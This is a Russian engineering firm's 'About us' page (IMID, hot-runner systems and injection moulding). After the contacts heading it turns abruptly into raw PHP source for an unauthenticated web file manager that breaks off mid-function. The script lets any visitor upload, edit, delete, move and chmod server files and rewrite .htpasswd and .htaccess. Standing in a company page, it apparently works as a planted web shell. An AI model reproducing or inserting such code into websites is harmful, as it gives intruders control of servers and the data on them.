info@imid.ru

+7(495)739-53-94
+7(925)517-37-99
+7(925)410-15-20

О компании

 

О компании

- История компании;
- Профиль компании;
- Вакансии;
- Фото производства;
- Выставки ;
- РОСМОЛД-2021;
- ВИДЕО производства;
- Полимерный симпозиум 2022;
- ИМИД – партнёр портала POLY&PRO;
- RUPLASTICA-2023;
- ROSMOULD–2023;
- Видеоинтервью на канале РосМолд;


Фирма «ИМИД» это:

  • инжиниринговая компания с огромным опытом работы;
  • поставщик металлообрабатывающего оборудования последнего поколения (фрезерных и токарных обрабатывающих центров с ЧПУ, электроэррозионных и электропрошивных станков и др.);
  • поставщик термопластавтоматов;
  • производитель широкой гаммы элементов горячеканальных систем - инжекторов, торпед, нагревателей, манифолдов (коллекторов);
  • производитель изделий из полимерных материалов (полиэтилена, полипропилена, полистирола, полиамида, ПЭТФ и др.) методом литья;
  • информационный центр, оказывающий услуги по организации производства от чертежа или образца изделия до готовой к работе единицы или полного комплекта технологического оборудования;
  • сервисный центр, осуществляющий пусконаладку и обслуживание поставляемого оборудования;
  • среди наших партнеров: ОАО НПО «Лианозовский электромеханический завод» (г. Москва), ОАО «Ковровский Электромеханический Завод» (г. Ковров, Владимирская обл.), НПП «Цифрал» (г. Брянск), ООО «Чебоксарский завод технологической оснастки» (г. Чебоксары), ОАО КХЗ «Бирюса» (г. Красноярск), ФГУП ЦАГИ (г. Жуковский), ОАО «Саянскхимпласт» (г. Саянск, Иркутская обл.), ЗАО НТЦ «Теко» (г. Казань), ООО «Квант-Инструмент» (г. Великий Новгород), ООО «Фобос» (г. Ульяновск), ОАО «Завод Атлант» (г. Изобильный, Ставропольский край)

Опытные инженеры-конструкторы, использование современных CAD/CAM систем, высокопроизводительное металлообрабатывающее оборудование и квалифицированный персонал, широкое применение стандартизованных компонентов производства FODESCO, TST и DME - все это позволяет нам сократить срок изготовления оснастки средней степени сложности до 4-6 месяцев.

Мы осуществляем поставки металлообрабатывающего оборудования и инструмента, а также термопластавтоматов корейского и тайваньского производства по принципу : «На чем работаем сами - то и предлагаем клиенту», что позволяет тестировать оборудование перед продажей, осуществлять пуско-наладочные работы «под ключ» в минимальные сроки и гарантировать грамотное техническое сопровождение и обслуживание.

Контакты

<?php // charset=ISO-8859-1
$lang = 'en';
$homedir = './';
$treeroot = '../';
$dirpermission = 0705;
# $newfilepermission = 0666;
# $uploadedfilepermission = 0666;
$editrows = 20;
$editcols = 70;
$quota = FALSE;
$quotacmd = '/usr/bin/quota -v';

$self = htmlentities(basename($_SERVER['PHP_SELF']));
$homedir = relpathtoabspath($homedir, getcwd());
$treeroot = relpathtoabspath($treeroot, getcwd());
$words = getWords($lang);
/* If PHP added any slashes, strip them */
if (ini_get('magic_quotes_gpc')) {
    array_walk($_GET, 'strip');
    array_walk($_POST, 'strip');
    array_walk($_REQUEST, 'strip');
}
/* Return Images */
if (isset($_GET['imageid'])) {
    header('Content-Type: image/gif');
    echo(getImage($_GET['imageid']));
    exit;
}
/* Initialize session */
ini_set('session.use_cookies', FALSE);
ini_set('session.use_trans_sid', FALSE);
session_name('id');
session_start();

/* Initialize dirlisting output */
$error = $notice = '';
$updatetreeview = FALSE;

/* Handle treeview requests */
if (isset($_REQUEST['action'])) {
    switch ($_REQUEST['action']) {
    case 'treeon':
        $_SESSION['tree'] = array();
        $_SESSION['hassubdirs'][$treeroot] = tree_hassubdirs($treeroot);
        tree_plus($_SESSION['tree'], $_SESSION['hassubdirs'], $treeroot);
        frameset();
        exit;
    case 'treeoff':
        $_SESSION['tree'] = NULL;
        $_SESSION['hassubdirs'] = NULL;
        dirlisting();
        exit;
    }
}

/* Set current directory */
if (!isset($_SESSION['dir'])) {
    $_SESSION['dir'] = $homedir;
    $updatetreeview = TRUE;
}
if (!empty($_REQUEST['dir'])) {
    $newdir = relpathtoabspath($_REQUEST['dir'], $_SESSION['dir']);
    /* If the requested directory is a file, show the file */
    if (@is_file($newdir) && @is_readable($newdir)) {
        /* if (@is_writable($newdir)) {
            $_REQUEST['edit'] = $newdir;
        } else */ if (is_script($newdir)) {
            $_GET['showh'] = $newdir;
        } else {
            $_GET['show'] = $newdir;
        }
    } elseif ($_SESSION['dir'] != $newdir) {
        $_SESSION['dir'] = $newdir;
        $updatetreeview = TRUE;
    }
}

/* Show a file */
if (!empty($_GET['show'])) {
    $show = relpathtoabspath($_GET['show'], $_SESSION['dir']);
    if (!show($show)) {
        $error= buildphrase('&quot;<b>' . htmlentities($show) . '</b>&quot;', $words['cantbeshown']);
    } else {
        exit;
    }
}

/* Show a file syntax highlighted */
if (!empty($_GET['showh'])) {
    $showh = relpathtoabspath($_GET['showh'], $_SESSION['dir']);
    if (!show_highlight($showh)) {
        $error = buildphrase('&quot;<b>' . htmlentities($showh) . '</b>&quot;', $words['cantbeshown']);
    } else {
        exit;
    }
}

/* Upload file */
if (isset($_FILES['upload'])) {
    $file = relpathtoabspath($_FILES['upload']['name'], $_SESSION['dir']);
    if (@is_writable($_SESSION['dir']) && @move_uploaded_file($_FILES['upload']['tmp_name'], $file) && (!isset($uploadedfilepermission) || chmod($file, $uploadedfilepermission))) {
        $notice = buildphrase(array('&quot;<b>' . htmlentities(basename($file)) . '</b>&quot;', '&quot;<b>' . htmlentities($_SESSION['dir']) . '</b>&quot;'), $words['uploaded']);
    } else {
        $error = buildphrase(array('&quot;<b>' . htmlentities(basename($file)) . '</b>&quot;', '&quot;<b>' . htmlentities($_SESSION['dir']) . '</b>&quot;'), $words['notuploaded']);
    }
}

/* Create file */
if (!empty($_GET['create']) && $_GET['type'] == 'file') {
    $file = relpathtoabspath($_GET['create'], $_SESSION['dir']);
    if (substr($file, strlen($file) - 1, 1) == '/') $file = substr($file, 0, strlen($file) - 1);
    if (is_free($file) && touch($file) && ((!isset($newfilepermission)) || chmod($file, $newfilepermission))) {
        $notice = buildphrase('&quot;<b>' . htmlentities($file) . '</b>&quot;', $words['created']);
        $_REQUEST['edit'] = $file;
    } else {
        $error = buildphrase('&quot;<b>' . htmlentities($file) . '</b>&quot;', $words['notcreated']);
    }
}

/* Create directory */
if (!empty($_GET['create']) && $_GET['type'] == 'dir') {
    $file = relpathtoabspath($_GET['create'], $_SESSION['dir']);
    if (is_free($file) && @mkdir($file, $dirpermission)) {
        $notice = buildphrase('&quot;<b>' . htmlentities($file) . '</b>&quot;', $words['created']);
        $updatetreeview = TRUE;
        if (!empty($_SESSION['tree'])) {
            $file = spath(dirname($file));
            $_SESSION['hassubdirs'][$file] = TRUE;
            tree_plus($_SESSION['tree'], $_SESSION['hassubdirs'], $file);
        }
    } else {
        $error = buildphrase('&quot;<b>' . htmlentities($file) . '</b>&quot;', $words['notcreated']);
    }
}

/* Ask symlink target */
if (!empty($_GET['symlinktarget']) && empty($_GET['symlink'])) {
    $symlinktarget = relpathtoabspath($_GET['symlinktarget'], $_SESSION['dir']);
    html_header($words['createsymlink']);
?>
    <form action="<?php echo($self); ?>" method="get">
    <input type="hidden" name="id" value="<?php echo(session_id()); ?>">
    <input type="hidden" name="symlinktarget" value="<?php echo(htmlentities($_GET['symlinktarget'])); ?>">
    <table border="0" cellspacing="0" cellpadding="0"><tr><td bgcolor="#888888">
    <table border="0" cellspacing="1" cellpadding="4">
    <tr>
        <td bgcolor="#EEEEEE" align="center"><b><?php echo(htmlentities($_SERVER['SERVER_NAME'])); ?></b></td>
        <td bgcolor="#EEEEEE" align="center"><?php echo(htmlentities($_SERVER['SERVER_SOFTWARE'])); ?></td>
    </tr>
    <tr>
        <td colspan="2" bgcolor="#EEEEEE">
            <table border="0">
            <tr>
                <td valign="top"><?php echo($words['target']); ?>:&nbsp;</td>
                <td>
                    <b><?php echo(htmlentities($_GET['symlinktarget'])); ?></b><br>
                    <input type="checkbox" name="relative" value="yes" id="checkbox_relative" checked>
                    <label for="checkbox_relative"><?php echo($words['reltarget']); ?></label>
                </td>
            </tr>
            <tr>
                <td><?php echo($words['symlink']); ?>:&nbsp;</td>
                <td><input type="text" name="symlink" value="<?php echo(htmlentities(spath(dirname($symlinktarget)))); ?>" size="<?php $size = strlen($_GET['symlinktarget']) + 9; if ($size < 30) $size = 30; echo($size);  ?>"></td>
            </tr>
            <tr>
                <td>&nbsp;</td>
                <td><input type="submit" value="<?php echo($words['create']); ?>"></td>
            </tr>
            </table>
        </td>
    </tr>
    </table>
    </td></tr></table>
    </form>
<?php
    html_footer();
    exit;
}

/* Create symlink */
if (!empty($_GET['symlink']) && !empty($_GET['symlinktarget'])) {
    $symlink = relpathtoabspath($_GET['symlink'], $_SESSION['dir']);
    $target = $_GET['symlinktarget'];
    if (@is_dir($symlink)) $symlink = spath($symlink) . basename($target);
    if ($symlink == $target) {
        $error = buildphrase(array('&quot;<b>' . htmlentities($symlink) . '</b>&quot;', '&quot;<b>' . htmlentities($target) . '</b>&quot;'), $words['samefiles']);
    } else {
        if (@$_GET['relative'] == 'yes') {
            $target = abspathtorelpath(dirname($symlink), $target);
        } else {
            $target = $_GET['symlinktarget'];
        }
        if (is_free($symlink) && @symlink($target, $symlink)) {
            $notice = buildphrase('&quot;<b>' . htmlentities($symlink) . '</b>&quot;', $words['created']);
        } else {
            $error = buildphrase('&quot;<b>' . htmlentities($symlink) . '</b>&quot;', $words['notcreated']);
        }
    }
}

/* Delete file */
if (!empty($_GET['delete'])) {
    $delete = relpathtoabspath($_GET['delete'], $_SESSION['dir']);
    if (@$_GET['sure'] == 'TRUE') {
        if (remove($delete)) {
            $notice = buildphrase('&quot;<b>' . htmlentities($delete) . '</b>&quot;', $words['deleted']);
        } else {
            $error = buildphrase('&quot;<b>' . htmlentities($delete) . '</b>&quot;', $words['notdeleted']);
        }
    } else {
        html_header($words['delete']);
?>
    <p>
    <table border="0" cellspacing="0" cellpadding="0"><tr><td bgcolor="#888888">
    <table border="0" cellspacing="1" cellpadding="4">
    <tr>
        <td bgcolor="#EEEEEE" align="center"><b><?php echo(htmlentities($_SERVER['SERVER_NAME'])); ?></b></td>
        <td bgcolor="#EEEEEE" align="center"><?php echo(htmlentities($_SERVER['SERVER_SOFTWARE'])); ?></td>
    </tr>
    <tr>
        <td colspan="2" bgcolor="#FFFFFF"><?php echo(buildphrase('&quot;<b>' . htmlentities($delete) . '</b>&quot;', $words['suredelete'])); ?></td>
    </tr>
    <tr>
        <td colspan="2" align="center" bgcolor="#EEEEEE">
            <a href="<?php echo("$self?" . SID . '&delete=' . urlencode($delete) . '&sure=TRUE'); ?>">[ <?php echo($words['yes']); ?> ]</a>
        </td>
    </tr>
    </table>
    </td></tr></table>
    </p>
<?php
        html_footer();
        exit;
    }
}

/* Change permission */
if (!empty($_GET['permission'])) {
    $permission = relpathtoabspath($_GET['permission'], $_SESSION['dir']);
    if ($p = @fileperms($permission)) {
        if (!empty($_GET['set'])) {
            $p = 0;
            if (isset($_GET['ur'])) $p |= 0400; if (isset($_GET['uw'])) $p |= 0200; if (isset($_GET['ux'])) $p |= 0100;
            if (isset($_GET['gr'])) $p |= 0040; if (isset($_GET['gw'])) $p |= 0020; if (isset($_GET['gx'])) $p |= 0010;
            if (isset($_GET['or'])) $p |= 0004; if (isset($_GET['ow'])) $p |= 0002; if (isset($_GET['ox'])) $p |= 0001;
            if (@chmod($_GET['permission'], $p)) {
                $notice = buildphrase(array('&quot<b>' . htmlentities($permission) . '</b>&quot;', '&quot;<b>' . substr(octtostr("0$p"), 1) . '</b>&quot; (<b>' . decoct($p) . '</b>)'), $words['permsset']);
            } else {
                $error = buildphrase('&quot;<b>' . htmlentities($permission) . '</b>&quot;', $words['permsnotset']);
            }
        } else {
            html_header($words['permission']);
?>
    <form action="<?php echo($self); ?>" method="get">
    <input type="hidden" name="id" value="<?php echo(session_id()); ?>">
    <table border="0" cellspacing="0" cellpadding="0"><tr><td bgcolor="#888888">
    <table border="0" cellspacing="1" cellpadding="4">
    <tr>
        <td bgcolor="#EEEEEE" align="center"><b><?php echo(htmlentities($_SERVER['SERVER_NAME'])); ?></b></td>
        <td bgcolor="#EEEEEE" align="center"><?php echo(htmlentities($_SERVER['SERVER_SOFTWARE'])); ?></td>
    </tr>
    <tr>
        <td bgcolor="#EEEEEE" colspan="2">
            <table>
            <tr>
                <td><?php echo($words['file']); ?>:</td>
                <td><input type="text" name="permission" value="<?php echo(htmlentities($permission)); ?>" size="<?php echo(textfieldsize($permission)); ?>"></td>
                <td><input type="submit" value="<?php echo($words['change']); ?>"></td>
            </tr>
            <tr>
                <td valign="top">
                    <?php echo($words['permission']); ?>:&nbsp;
                    </form><form action="<?php echo($self); ?>" method="get">
                    <input type="hidden" name="id" value="<?php echo(session_id()); ?>">
                    <input type="hidden" name="permission" value="<?php echo(htmlentities($permission)); ?>">
                    <input type="hidden" name="set" value="TRUE">
                </td>
                <td colspan="2">
                    <table border="0">
                    <tr>
                        <td>&nbsp;</td>
                        <td><?php echo($words['owner']); ?></td>
                        <td><?php echo($words['group']); ?></td>
                        <td><?php echo($words['other']); ?></td>
                    </tr>
                    <tr>
                        <td><?php echo($words['read']); ?>:</td>
                        <td align="center"><input type="checkbox" name="ur" value="1"<?php if ($p & 00400) echo(' checked'); ?>></td>
                        <td align="center"><input type="checkbox" name="gr" value="1"<?php if ($p & 00040) echo(' checked'); ?>></td>
                        <td align="center"><input type="checkbox" name="or" value="1"<?php if ($p & 00004) echo(' checked'); ?>></td>
                    </tr>
                    <tr>
                        <td><?php echo($words['write']); ?>:</td>
                        <td align="center"><input type="checkbox" name="uw" value="1"<?php if ($p & 00200) echo(' checked'); ?>></td>
                        <td align="center"><input type="checkbox" name="gw" value="1"<?php if ($p & 00020) echo(' checked'); ?>></td>
                        <td align="center"><input type="checkbox" name="ow" value="1"<?php if ($p & 00002) echo(' checked'); ?>></td>
                    </tr>
                    <tr>
                        <td><?php echo($words['exec']); ?>:</td>
                        <td align="center"><input type="checkbox" name="ux" value="1"<?php if ($p & 00100) echo(' checked'); ?>></td>
                        <td align="center"><input type="checkbox" name="gx" value="1"<?php if ($p & 00010) echo(' checked'); ?>></td>
                        <td align="center"><input type="checkbox" name="ox" value="1"<?php if ($p & 00001) echo(' checked'); ?>></td>
                    </tr>
                    </table>
                </td>
            </tr>
            <tr>
                <td>&nbsp;</td>
                <td colspan="2"><input type="submit" value="<?php echo($words['setperms']); ?>"></td>
            </tr>
            </table>
        </td>
    </tr>
    </table>
    </td></tr></table>
    </form>
<?php
            html_footer();
            exit;
        }
    } else {
        $error = buildphrase('&quot;<b>' . htmlentities($permission) . '</b>&quot;', $words['permsnotset']);
    }
}

/* Move file */
if (!empty($_GET['move'])) {
    $move = relpathtoabspath($_GET['move'], $_SESSION['dir']);
    if (!empty($_GET['destination'])) {
        $destination = relpathtoabspath($_GET['destination'], dirname($move));
        if (@is_dir($destination)) $destination = spath($destination) . basename($move);
        if ($move == $destination) {
            $error = buildphrase(array('&quot;<b>' . htmlentities($move) . '</b>&quot;', '&quot;<b>' . htmlentities($destination) . '</b>&quot;'), $words['samefiles']);
        } else {
            if (is_free($destination) && @rename($move, $destination)) {
                $notice = buildphrase(array('&quot;<b>' . htmlentities($move) . '</b>&quot;', '&quot;<b>' . htmlentities($destination) . '</b>&quot;'), $words['moved']);
            } else {
                $error = buildphrase(array('&quot;<b>' . htmlentities($move) . '</b>&quot;', '&quot;<b>' . htmlentities($destination) . '</b>&quot;'), $words['notmoved']);
            }
        }
    } else {
        html_header($words['move']);
?>
    <form action="<?php echo($self); ?>" method="get">
    <input type="hidden" name="id" value="<?php echo(session_id()); ?>">
    <input type="hidden" name="move" value="<?php echo(htmlentities($move)); ?>">
    <table border="0" cellspacing="0" cellpadding="0"><tr><td bgcolor="#888888">
    <table border="0" cellspacing="1" cellpadding="4">
    <tr>
        <td bgcolor="#EEEEEE" align="center"><b><?php echo(htmlentities($_SERVER['SERVER_NAME'])); ?></b></td>
        <td bgcolor="#EEEEEE" align="center"><?php echo(htmlentities($_SERVER['SERVER_SOFTWARE'])); ?></td>
    </tr>
    <tr>
        <td colspan="2" bgcolor="#EEEEEE">
            <table border="0">
            <tr>
                <td><?php echo($words['file']); ?>:&nbsp;</td>
                <td><b><?php echo(htmlentities($move)); ?></b></td>
            </tr>
            <tr>
                <td><?php echo($words['moveto']); ?>:&nbsp;</td>
                <td><input type="text" name="destination" value="<?php echo(htmlentities(spath(dirname($move)))); ?>" size="<?php echo(textfieldsize($move)); ?>"></td>
            </tr>
            <tr>
                <td>&nbsp;</td>
                <td><input type="submit" value="<?php echo($words['move']); ?>"></td>
            </tr>
            </table>
        </td>
    </tr>
    </table>
    </td></tr></table>
    </form>
<?php
        html_footer();
        exit;
    }
}

/* Copy file */
if (!empty($_GET['cpy'])) {
    $copy = relpathtoabspath($_GET['cpy'], $_SESSION['dir']);
    if (!empty($_GET['destination'])) {
        $destination = relpathtoabspath($_GET['destination'], dirname($copy));
          if (@is_dir($destination)) $destination = spath($destination) . basename($copy);
        if ($copy == $destination) {
            $error = buildphrase(array('&quot;<b>' . htmlentities($copy) . '</b>&quot;', '&quot;<b>' . htmlentities($destination) . '</b>&quot;'), $words['samefiles']);
        } else {
            if (is_free($destination) && @copy($copy, $destination)) {
                $notice = buildphrase(array('&quot;<b>' . htmlentities($copy) . '</b>&quot;', '&quot;<b>' . htmlentities($destination) . '</b>&quot;'), $words['copied']);
            } else {
                $error = buildphrase(array('&quot;<b>' . htmlentities($copy) . '</b>&quot;', '&quot;<b>' . htmlentities($destination) . '</b>&quot;'), $words['notcopied']);
            }
        }
    } else {
        html_header($words['copy']);
?>
    <form action="<?php echo($self); ?>" method="get">
    <input type="hidden" name="id" value="<?php echo(session_id()); ?>">
    <input type="hidden" name="cpy" value="<?php echo(htmlentities($copy)); ?>">
    <table border="0" cellspacing="0" cellpadding="0"><tr><td bgcolor="#888888">
    <table border="0" cellspacing="1" cellpadding="4">
    <tr>
        <td bgcolor="#EEEEEE" align="center"><b><?php echo(htmlentities($_SERVER['SERVER_NAME'])); ?></b></td>
        <td bgcolor="#EEEEEE" align="center"><?php echo(htmlentities($_SERVER['SERVER_SOFTWARE'])); ?></td>
    </tr>
    <tr>
        <td colspan="2" bgcolor="#EEEEEE">
            <table border="0">
            <tr>
                <td><?php echo($words['file']); ?>:&nbsp;</td>
                <td><b><?php echo(htmlentities($copy)); ?></b></td>
            </tr>
            <tr>
                <td><?php echo($words['copyto']); ?>:&nbsp;</td>
                <td><input type="text" name="destination" value="<?php echo(htmlentities(spath(dirname($copy)))); ?>" size="<?php echo(textfieldsize($copy)); ?>"></td>
            </tr>
            <tr>
                <td>&nbsp;</td>
                <td><input type="submit" value="<?php echo($words['copy']); ?>"></td>
            </tr>
            </table>
        </td>
    </tr>
    </table>
    </td></tr></table>
    </form>
<?php
        html_footer();
        exit;
    }
}

/* Save edited file */
if (!empty($_POST['edit']) && isset($_POST['save'])) {
    $edit = relpathtoabspath($_POST['edit'], $_SESSION['dir']);
    if ($f = @fopen($edit, 'w')) {
        /* write file without carriage returns */
        fwrite($f, str_replace("\r\n", "\n", $_POST['content']));
        fclose($f);
        $notice = buildphrase('&quot;<b>' . htmlentities($edit) . '</b>&quot;', $words['saved']);
    } else {
        $error = buildphrase('&quot;<b>' . htmlentities($edit) . '</b>&quot;', $words['notsaved']);
    }
}

/* Edit file */
if (isset($_REQUEST['edit']) && !isset($_POST['save'])) {
    $file = relpathtoabspath($_REQUEST['edit'], $_SESSION['dir']);
    if (@is_dir($file)) {
        /* If the requested file is a directory, show the directory */
        $_SESSION['dir'] = $file;
        $updatetreeview = TRUE;
    } else {
        if ($f = @fopen($file, 'r')) {
            html_header($words['edit']);
?>
    <form action="<?php echo($self); ?>" method="get">
    <input type="hidden" name="id" value="<?php echo(session_id()); ?>">
    <table border="0" cellspacing="0" cellpadding="0"><tr><td bgcolor="#888888">
    <table border="0" cellspacing="1" cellpadding="4">
    <tr>
        <td bgcolor="#EEEEEE" align="center"><b><?php echo(htmlentities($_SERVER['SERVER_NAME'])); ?></b></td>
        <td bgcolor="#EEEEEE" align="center"><?php echo(htmlentities($_SERVER['SERVER_SOFTWARE'])); ?></td>
    </tr>
    <tr>
        <td bgcolor="#EEEEEE" colspan="2">
            <table border="0" cellspacing="0" cellpadding="0">
            <tr>
                <td><?php echo($words['file']); ?>:&nbsp;</td>
                <td><input type="text" name="edit" value="<?php echo(htmlentities($file)); ?>" size="<?php echo(textfieldsize($file)); ?>">&nbsp;</td>
                <td><input type="submit" value="<?php echo($words['change']); ?>"></td>
            </tr>
            </table>
        </td>
    </tr>
    </table>
    </td></tr></table>
    </form>
    <form action="<?php echo($self); ?>" method="post" name="f">
    <input type="hidden" name="id" value="<?php echo(session_id()); ?>">
    <input type="hidden" name="edit" value="<?php echo(htmlentities($file)); ?>">
    <table border="0" cellspacing="0" cellpadding="0"><tr><td bgcolor="#888888">
    <table border="0" cellspacing="1" cellpadding="4">
    <tr>
        <td bgcolor="#EEEEFF" align="center"><textarea name="content" rows="<?php echo($editrows); ?>" cols="<?php echo($editcols); ?>" wrap="off" style="background: #EEEEFF; border: none;"><?php
            if (isset($_POST['content'])) {
                echo(htmlentities($_POST['content']));
                if (isset($_POST['add']) && !empty($_POST['username']) && !empty($_POST['password'])) {
                    echo("\n" . htmlentities($_POST['username'] . ':' . crypt($_POST['password'])));
                }
            } else {
                echo(htmlentities(fread($f, filesize($file))));
            }
            fclose($f);
?></textarea></td>
    </tr>
<?php if (basename($file) == '.htpasswd') { /* specials with .htpasswd */ ?>
    <tr>
        <td bgcolor="#EEEEEE" align="center">
            <table border="0">
            <tr>
                <td><?php echo($words['username']); ?>:&nbsp;</td>
                <td><input type="text" name="username" size="15">&nbsp;</td>
                <td><?php echo($words['password']); ?>:&nbsp;</td>
                <td><input type="password" name="password" size="15">&nbsp;</td>
                <td><input type="submit" name="add" value="<?php echo($words['add']); ?>"></td>
            </tr>
            </table>
        </td>
    </tr>
<?php } if (basename($file) == '.htaccess') { /* specials with .htaccess */ ?>
    <tr>
        <td bgcolor="#EEEEEE" align="center"><input type="button" value="<?php echo($words['addauth']); ?>" onClick="autheinf()"></td>
    </tr>
<?php } ?>
    <tr>
        <td bgcolor="#EEEEEE" align="center">
            <input type="button" value="<?php echo($words['reset']); ?>" onClick="document.f.reset()">
            <input type="button" value="<?php echo($words['clear']); ?>" onClick="void(document.f.content.value='')">
            <input type="submit" name="save" value="<?php echo($words['save']); ?>">
        </td>
    </tr>
    </table>
    </td></tr></table>
    </form>
<?php
            html_footer();
            exit;
        } else {
            $error = buildphrase('&quot;<b>' . htmlentities($file) . '</b>&quot; ', $words['notopened']);
        }
    }
}

/* Show directory listing (and treeview) */
if (!empty($_SESSION['tree'])) {
    if (isset($_REQUEST['frame']) && $_REQUEST['frame'] == 'treeview') {
        treeview();
    } else {
        if (isset($_GET['noupdate'])) $updatetreeview = FALSE;
        dirlisting(TRUE);
    }
} else {
    dirlisting();
}

/* ------------------------------------------------------------------------- */

function strip (&$str) {
    $str = stripslashes($str);
}

function relpathtoabspath ($file, $dir) {
    $dir = spath($dir);
    if (substr($file, 0, 1) != '/') $file = $dir . $file;
    if (!@is_link($file) && ($r = realpath($file)) != FALSE) $file = $r;
    if (@is_dir($file) && !@is_link($file)) $file = spath($file);
    return $file;
}

function abspathtorelpath ($pos, $target) {
    $pos = spath($pos);
    $path = '';
    while ($pos != $target) {
        if ($pos == substr($target, 0, strlen($pos))) {
            $path .= substr($target, strlen($pos));
            break;
        } else {
            $path .= '../';
            $pos = strrev(strstr(strrev(substr($pos, 0, strlen($pos) - 1)), '/'));
        }
    }
    return $path;
}

function is_script ($file) {
    return ereg('.php[3-4]?$', $file);
}

function spath ($path) {
    if (substr($path, strlen($path) - 1, 1) != '/') $path .= '/';
    return $path;
}

function textfieldsize ($str) {
    $size = strlen($str) + 5;
    if ($size < 30) $size = 30;
    return $size;
}

function is_free ($file) {
    global $words;
    if (@file_exists($file) && empty($_GET['overwrite'])) {
        html_header($words['alreadyexists']);
?>
    <p>
    <table border="0" cellspacing="0" cellpadding="0"><tr><td bgcolor="#888888">
    <table border="0" cellspacing="1" cellpadding="4">
    <tr>
        <td bgcolor="#EEEEEE" align="center"><b><?php echo(htmlentities($_SERVER['SERVER_NAME'])); ?></b></td>
        <td bgcolor="#EEEEEE" align="center"><?php echo(htmlentities($_SERVER['SERVER_SOFTWARE'])); ?></td>
    </tr>
    <tr>
        <td colspan="2" bgcolor="#FFFFFF"><?php echo(buildphrase('&quot;<b>' . htmlentities($file) . '</b>&quot;', $words['overwrite'])); ?></td>
    </tr>
    <tr>
        <td colspan="2" align="center" bgcolor="#EEEEEE">
            <a href="<?php echo("{$_SERVER['REQUEST_URI']}&overwrite=yes"); ?>">[ <?php echo($words['yes']); ?> ]</a>
        </td>
    </tr>
    </table>
    </td></tr></table>
    </p>
<?php
        html_footer();
        exit;
    }
    if (!empty($_GET['overwrite'])) {
        return remove($file);
    }
    return TRUE;
}

function remove ($file) {
    global $updatetreeview;
    if (@is_dir($file) && !@is_link($file)) {
        $error = FALSE;
        if ($p = @opendir($file = spath($file))) {
            while (($f = readdir($p)) !== FALSE)
                if ($f != '.' && $f != '..' && !remove($file . $f))
                    $error = TRUE;
        }
        if ($error) $x = FALSE; else $x = @rmdir($file);
        $updatetreeview = TRUE;
        if ($x && !empty($_SESSION['tree'])) {
            $file = spath(dirname($file));
            $_SESSION['hassubdirs'][$file] = tree_hassubdirs($file);
            tree_plus($_SESSION['tree'], $_SESSION['hassubdirs'], $file, TRUE);
        }
    } else {
        $x = @unlink($file);
    }
    return $x;
}

function tree_hassubdirs ($path) {
    if ($p = @opendir($path)) {
        while (($filename = readdir($p)) !== FALSE) {
            if (tree_isrealdir($path . $filename)) return TRUE;
        }
    }
    return FALSE;
}

function tree_isrealdir ($path) {
    if (basename($path) != '.' && basename($path) != '..' && @is_dir($path) && !@is_link($path)) return TRUE; else return FALSE;
}

function treeview () {
    global $self, $treeroot;
    if (isset($_GET['plus']))    tree_plus($_SESSION['tree'], $_SESSION['hassubdirs'], $_GET['plus']);
    if (isset($_GET['minus']))    $dirchanged = tree_minus($_SESSION['tree'], $_SESSION['hassubdirs'], $_GET['minus']); else $dirchanged = FALSE;
    for ($d = $_SESSION['dir']; strlen($d = dirname($d)) != 1; tree_plus($_SESSION['tree'], $_SESSION['hassubdirs'], $d));
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<html>
<head>
    <title>Treeview</title>
    <style type="text/css">
    <!--
        td { font-family: sans-serif; font-size: 10pt; }
        a:link, a:visited, a:active { text-decoration: none; color: #000088; }
        a:hover { text-decoration: underline; color: #000088; }
    -->
    </style>
</head>
<body bgcolor="#FFFFFF"<?php if ($dirchanged) echo(" onLoad=\"void(parent.webadmin.location.replace('$self?noupdate=TRUE&dir=" . urlencode($_SESSION['dir']) . '&' . SID . '&pmru=' . time() . "'))\""); ?>>
    <table border="0" cellspacing="0" cellpadding="0">
<?php
    tree_showtree($_SESSION['tree'], $_SESSION['hassubdirs'], $treeroot, 0, tree_calculatenumcols($_SESSION['tree'], $treeroot, 0));
?>
    </table>
</body>
</html>
<?php
    return;
}

function frameset () {
    global $self;
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Frameset//EN">
<html>
<head>
    <title><?php echo($self); ?></title>
</head>
<frameset cols="250,*">
    <frame src="<?php echo("$self?frame=treeview&" . SID . '#' . urlencode($_SESSION['dir'])); ?>" name="treeview">
    <frame src="<?php echo("$self?" . SID); ?>" name="webadmin">
</frameset>
</html>
<?php
    return;
}

function tree_calculatenumcols ($tree, $path, $col) {
    static $numcols = 0;
    if ($col > $numcols) $numcols = $col;
    if (isset($tree[$path])) {
        for ($i = 0; $i < sizeof($tree[$path]); $i++) {
            $numcols = tree_calculatenumcols($tree, $path . $tree[$path][$i], $col + 1);
        }
    }
    return $numcols;
}

function tree_showtree ($tree, $hassubdirs, $path, $col, $numcols) {
    global $self, $treeroot;
    static $islast = array(0 => TRUE);
    echo("    <tr>\n");
    for ($i = 0; $i < $col; $i++) {
        if ($islast[$i]) $iid = 0; else $iid = 3;
        echo("        <td><img src=\"$self?imageid=$iid\" width=\"19\" height=\"18\"></td>\n");
    }
    if ($hassubdirs[$path]) {
        if (!empty($tree[$path])) { $action = 'minus'; $iid = 8; } else { $action = 'plus'; $iid = 7; }
        if ($col == 0) $iid -= 3; else if ($islast[$col]) $iid += 3;
        echo("        <td><a href=\"$self?frame=treeview&$action=" . urlencode($path) . '&dir=' . urlencode($_SESSION['dir']) . '&' . SID . '#' . urlencode($path) . '">');
        echo("<img src=\"$self?imageid=$iid\" width=\"19\" height=\"18\" border=\"0\">");
        echo("</a></td>\n");
    } else {
        if ($islast[$col]) $iid = 9; else $iid = 6;
        echo("        <td><img src=\"$self?imageid=$iid\" width=\"19\" height=\"18\"></td>\n");
    }
    if (@is_readable($path)) {
        $a1 = "<a name=\"" . urlencode($path) . "\" href=\"$self?dir=" . urlencode($path) . '&' . SID . '" target="webadmin">';
        $a2 = '</a>';
    } else {
        $a1 = $a2 = '';
    }
    if ($_SESSION['dir'] == $path) $iid = 2; else $iid = 1;
    echo("        <td>$a1<img src=\"$self?imageid=$iid\" width=\"19\" height=\"18\" border=\"0\">$a2</td>\n");
    $cspan = $numcols - $col + 1;
    if ($cspan > 1) $colspan = " colspan=\"$cspan\""; else $colspan = '';
    if ($col == $numcols) $width = ' width="100%"'; else $width = '';
    echo("        <td$width$colspan nowrap>&nbsp;");
    if ($path == $treeroot) $label = $path; else $label = basename($path);
    echo($a1 . htmlentities($label) . $a2);
    echo("</td>\n");
    echo("    </tr>\n");
    if (!empty($tree[$path])) {
        for ($i = 0; $i < sizeof($tree[$path]); $i++) {
